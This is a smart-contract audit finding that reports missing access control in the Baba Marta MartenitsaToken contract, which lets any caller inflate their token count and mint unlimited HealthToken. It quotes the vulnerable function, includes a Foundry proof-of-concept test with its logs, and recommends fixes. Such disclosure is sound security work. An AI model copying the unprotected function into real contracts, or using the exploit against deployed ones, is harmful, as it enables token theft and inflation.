Insecure access control in MartenitsaToken::updateCountMartenitsaTokensOwner function, causing buyer to mint unlimited HealthToken.

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2024-04-Baba-Marta/blob/5eaab7b51774d1083b926bf5ef116732c5a35cfd/src/MartenitsaToken.sol#L63-L71

https://github.com/Cyfrin/2024-04-Baba-Marta/blob/5eaab7b51774d1083b926bf5ef116732c5a35cfd/src/MartenitsaMarketplace.sol#L105-L113

Description

The function MartenitsaToken::updateCountMartenitsaTokensOwner allows an external caller to arbitrarily increase or decrease the MartenitsaToken::countMartenitsaTokensOwner mapping for a given owner address. This can lead to unintended countMartenitsaTokensOwner mapping manipulation. The MartenitsaMarketPlace::collectReward function depends on the countMartenitsaTokensOwner mapping to mint HealthToken to the buyer. If a buyer has 3 different token they can mint a HealthToken as countMartenitsaTokensOwner mapping can be manipulated, the buyer can mint an unlimited amount of HealthToken.

@>  function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
        if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
            countMartenitsaTokensOwner[owner] += 1;
        } else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
            countMartenitsaTokensOwner[owner] -= 1;
        } else {
            revert("Wrong operation");
        }
    }

function collectReward() external {
        require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
@>      uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
        uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
        if (amountRewards > 0) {
            _collectedRewards[msg.sender] = amountRewards;
            healthToken.distributeHealthToken(msg.sender, amountRewards);
        }
    }

Impact

As the MartenitsaToken::countMartenitsaTokensOwner can be manipulated by a arbitaray external call, a buyer can arbitrarily increase the countMartenitsaTokensOwner mapping count and mint an unlimited amount of HealthToken by calling the MartenitsaMarketPlace::collectReward function. This can lead high HealthToken supply and devaluation of the token's utility and value.

Proof of Concept

1. First buyer calls the MartenitsaToken::updateCountMartenitsaTokensOwner function to increase the countMartenitsaTokensOwner mapping count.
2. Buyer calls the MartenitsaMarketPlace::collectReward function to mint an unlimited amount of HealthToken.

Proof Of Code:

function test_BuyerCanMintUnlimitedHealthToken() public {
        // set attacker
        address attacker = makeAddr("attacker");

        // increase the count of martenitsaTokensOwner
        vm.startPrank(address(attacker));
        for (uint256 i = 0; i < 6; i++) {
            martenitsaToken.updateCountMartenitsaTokensOwner(address(attacker), "add");
        }
        console.log("The count of martenitsaTokensOwner: ", martenitsaToken.getCountMartenitsaTokensOwner(attacker));
        vm.stopPrank();

        // Call the collectReward function
        vm.startPrank(address(attacker));
        marketplace.collectReward();
        console.log("The balance of the attacker after collecting reward: ", healthToken.balanceOf(attacker));
        vm.stopPrank();
}

Logs:
  The count of martenitsaTokensOwner:  6
  The balance of the attacker after collecting reward:  2000000000000000000

Recommended Mitigation:

1. Implement access control to restrict the ability to call the MartenitsaToken::updateCountMartenitsaTokensOwner function to only authorized entities, such as the contract owner or a designated role.
2. Consider removing the external ability to modify the MartenitsaToken::countMartenitsaTokensOwner mapping directly and instead update the mapping through other functions that perform appropriate validation and authorization checks.
3. Implement a system of checks and balances, such as requiring two-factor authentication or multi-signature approvals for any changes to the MartenitsaToken::countMartenitsaTokensOwner mapping.